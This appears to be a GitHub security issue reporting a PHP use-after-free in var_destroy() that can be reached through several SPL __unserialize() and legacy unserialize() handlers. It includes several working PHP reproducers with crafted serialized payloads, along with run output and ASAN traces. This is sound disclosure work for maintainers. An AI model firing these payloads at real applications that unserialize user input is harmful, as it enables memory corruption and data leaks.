Skip to content

var_destroy() UAF also reachable through SplObjectStorage::__unserialize() — separate entry point from #24481 #24674

Description

@srayuth089

Summary

Following up on #24481 — the same var_destroy() use-after-free is also reachable through SplObjectStorage::__unserialize(), which creates its own var_hash context via PHP_VAR_UNSERIALIZE_INIT and calls php_var_unserialize() internally (ext/spl/spl_observer.c).

This means the attack surface is broader than the main unserialize() path: any application that unserializes user-controlled data into an SplObjectStorage (not just raw unserialize()) is affected.

Reproducer

<?php
class TriggerUAF {
    public $tag;
    public function __destruct() {
        // Try multiple backref indices to hit freed extension chunks
        foreach ([1024, 1030, 1040, 1100, 1200, 1500] as $idx) {
            $result = @unserialize("R:{$idx};");
            if ($result !== false && $result !== null) {
                fwrite(STDERR, sprintf("  *** [destruct:%s] R:%d → %s (%s) *** UAF_READ\n",
                    $this->tag, $idx, gettype($result), var_export($result, true)));
                return;
            }
        }
        fwrite(STDERR, "  [destruct:{$this->tag}] all R: indices clean\n");
    }
}

// Build SplObjectStorage payload with >1018 entries (overflow VAR_ENTRIES_MAX)
$store = [];
for ($i = 0; $i < 1100; $i++) {
    $store[] = "i:{$i};i:{$i};";
}
for ($j = 0; $j < 5; $j++) {
    $store[] = "i:" . (9000+$j) . ";O:10:\"TriggerUAF\":1:{s:3:\"tag\";s:5:\"obs{$j}\";}";
}
for ($k = 0; $k < 100; $k++) {
    $store[] = "i:" . (20000+$k) . ";i:" . (20000+$k) . ";";
}
$n = count($store);
$payload = 'O:16:"SplObjectStorage":2:{i:0;a:' . $n . ':{' . implode('', $store) . '}i:1;a:0:{}}';
@unserialize($payload);

Output (PHP 8.4.27, stock CLI, non-ASAN)

*** [destruct:] R:1024 → integer (1021) *** UAF_READ

R:1024 resolves to integer(1021) — a value from the freed var_hash extension chunks. In a clean nested unserialize() call, R:1024 should return false.

Verified on

Branch Result
8.2.35 UAF_READ
8.3.36 UAF_READ
8.4.26 (pre-fix) UAF_READ
8.4.27 (post-fix) UAF_READ
8.4.27 + USE_ZEND_ALLOC=0 UAF_READ

Deterministic: 3/3 runs on 8.4.27, identical output each time.

Mechanism

  1. unserialize($payload) parses the outer O:16:"SplObjectStorage" tag
  2. Instantiates SplObjectStorage and calls its __unserialize() handler
  3. SPL handler (ext/spl/spl_observer.c:858+) does:
    • PHP_VAR_UNSERIALIZE_INIT(var_hash) — creates its own context
    • Iterates entries, calling php_var_unserialize() on each (>1018 entries → extension chunks)
    • var_push_dtor(&var_hash, entry) for each object
  4. PHP_VAR_UNSERIALIZE_DESTROY(var_hash) → calls var_destroy() on the SPL context
  5. var_destroy() frees the extension chunks
  6. Then fires __destruct on entries in the dtor list — without BG(serialize_lock)
  7. The destructor calls unserialize('R:1024;') which reads from the freed chunks

The root cause is the same as #24481 (the var_destroy() function in var_unserializer.re frees chunks before dispatching destructors without taking BG(serialize_lock)), but the entry point is different: the SPL extension's __unserialize handler creates an independent var_hash context that is also vulnerable.

Also affected (same pattern, same var_hash)

  • SplDoublyLinkedList::__unserialize() (ext/spl/spl_dllist.c:1070+)
  • ArrayObject::__unserialize() (ext/spl/spl_array.c:1680+)

These use the same PHP_VAR_UNSERIALIZE_INIT / var_push_dtor / PHP_VAR_UNSERIALIZE_DESTROY pattern. I haven't yet built working reproducers for these (payload format differences), but the code pattern is identical.

Credit

Activity

  1. self-assigned this
    on Oct 25, 2026
  2. srayuth089 commented on Oct 25, 2026

    @srayuth089
    Author

    Update: working reproducers for the two remaining siblings

    Both SplDoublyLinkedList::__unserialize() and ArrayObject::__unserialize() now have deterministic reproducers — same result as the SplObjectStorage one (R:1024 resolves to a value read from the freed extension chunks), verified on stock CLI of 8.4.27, 8.3.36 and 8.2.35 (3/3 runs each):

    *** [dll-obs] R:1024 → integer (1020) *** UAF_READ   ← SplDoublyLinkedList
    *** [ao-obs]  R:1024 → integer (1020) *** UAF_READ   ← ArrayObject
    

    Reproducer (shared trigger + the two payload shapes, learned from serialize() of real objects):

    <?php
    class Trig {
        public $tag;
        public function __destruct() {
            foreach ([1024, 1030, 1040, 1100, 1500] as $idx) {
                $r = @unserialize("R:{$idx};");
                if ($r !== false && $r !== null) {
                    fwrite(STDERR, sprintf("  *** [%s] R:%d → %s (%s) *** UAF_READ\n",
                        $this->tag, $idx, gettype($r), var_export($r, true)));
                    return;
                }
            }
        }
    }
    $n = 1100;                       // > VAR_ENTRIES_MAX (1018)
    $entries = "";
    for ($i = 0; $i < $n - 5; $i++) { $entries .= "i:$i;i:$i;"; }
    $tail = 'i:9001;O:4:"Trig":1:{s:3:"tag";s:7:"TAG";}' . "i:9002;i:42;i:9003;i:43;i:9004;i:44;";
    
    // SplDoublyLinkedList — O:19:"SplDoublyLinkedList":3:{i:0;i:0;i:1;a:N:{…};i:2;a:0:{}}
    @unserialize('O:19:"SplDoublyLinkedList":3:{i:0;i:0;i:1;a:' . $n . ':{' . $entries . str_replace('TAG', 'dll-obs', $tail) . '}i:2;a:0:{}');
    
    // ArrayObject — O:11:"ArrayObject":4:{i:0;i:0;i:1;a:N:{…};i:2;a:0:{}i:3;N;}
    @unserialize('O:11:"ArrayObject":4:{i:0;i:0;i:1;a:' . $n . ':{' . $entries . str_replace('TAG', 'ao-obs', $tail) . '}i:2;a:0:{}i:3;N;}');

    The other SPL/internal classes listed in the report that use the same PHP_VAR_UNSERIALIZE_INIT / var_push_dtor / PHP_VAR_UNSERIALIZE_DESTROY pattern in their __unserialize handlers should be considered reachable through the same construction.

  3. srayuth089 commented on Oct 25, 2026

    @srayuth089
    Author

    Additional entry point: legacy SplObjectStorage::unserialize(string)

    I verified that the legacy method also reaches the same var_destroy() UAF, separately from the SplObjectStorage::__unserialize() path in the report. The reproducer calls $storage->unserialize($wire) directly. In PHP 8.4.26 ASAN, the trace is a heap-use-after-free read in php_var_unserialize() (ext/standard/var_unserializer.c:849); the chunk was freed earlier in var_destroy() (:245). The call stack goes through zim_SplObjectStorage_unserialize() (ext/spl/spl_observer.c:1006). The stock CLI reproducer produced UAF_READ R:1024 => object in 3/3 fresh runs on PHP 8.2.35, 8.3.36, and 8.4.27.

    Minimal reproducer:

    <?php
    class Probe {
        public function __wakeup() {
            $GLOBALS['s']->detach($this);
        }
    
        public function __destruct() {
            foreach ([1024, 1025, 1030, 1040, 1100, 1200, 1500] as $i) {
                $r = @unserialize("R:$i;");
                if ($r !== false && $r !== null) {
                    echo "UAF_READ R:$i => ", gettype($r), " ", var_export($r, true), "\n";
                    return;
                }
            }
        }
    }
    
    $s = new SplObjectStorage;
    $GLOBALS['s'] = $s;
    $n = 1100;
    $wire = "x:i:$n;";
    for ($i = 0; $i < $n - 1; $i++) {
        $wire .= 'O:8:"stdClass":0:{};';
    }
    $wire .= 'O:5:"Probe":0:{};m:a:0:{}';
    $s->unserialize($wire);

    This is an additional legacy-method entry point to the reported root cause, not a claim of a separate root cause or of RCE. The ASAN stack and complete run output are available if useful.

  4. srayuth089 commented on Oct 25, 2026

    @srayuth089
    Author

    Additional ASAN confirmation: legacy SplDoublyLinkedList::unserialize(string)

    I also reproduced the same UAF through the legacy custom-unserialization method, independently of the SplDoublyLinkedList::__unserialize() payload above. The detector creates a list with 2,000 integer entries, then a tail object whose __wakeup() removes itself from the list; its destructor re-enters unserialize('R:1500;') while the custom var_hash teardown is active.

    AddressSanitizer reports heap-use-after-free in php_var_unserialize() on both PHP 8.4.26 (ext/standard/var_unserializer.c:849) and 8.4.27 (:906). The call path goes through SplDoublyLinkedList::unserialize(), and the freed region is the var_entries extension chunk released by var_destroy() before the deferred destructor pass. This confirms the legacy SPL entry point still reaches the same root cause after the 8.4.27 release; it is not a claim of a separate root cause or CVE.

    The reproducer and full ASAN logs are available in my local lab if maintainers want them. The test only detects the invalid read; it does not attempt exploitation.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

Labels

No labels
No labels

Type

No type

Projects

No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions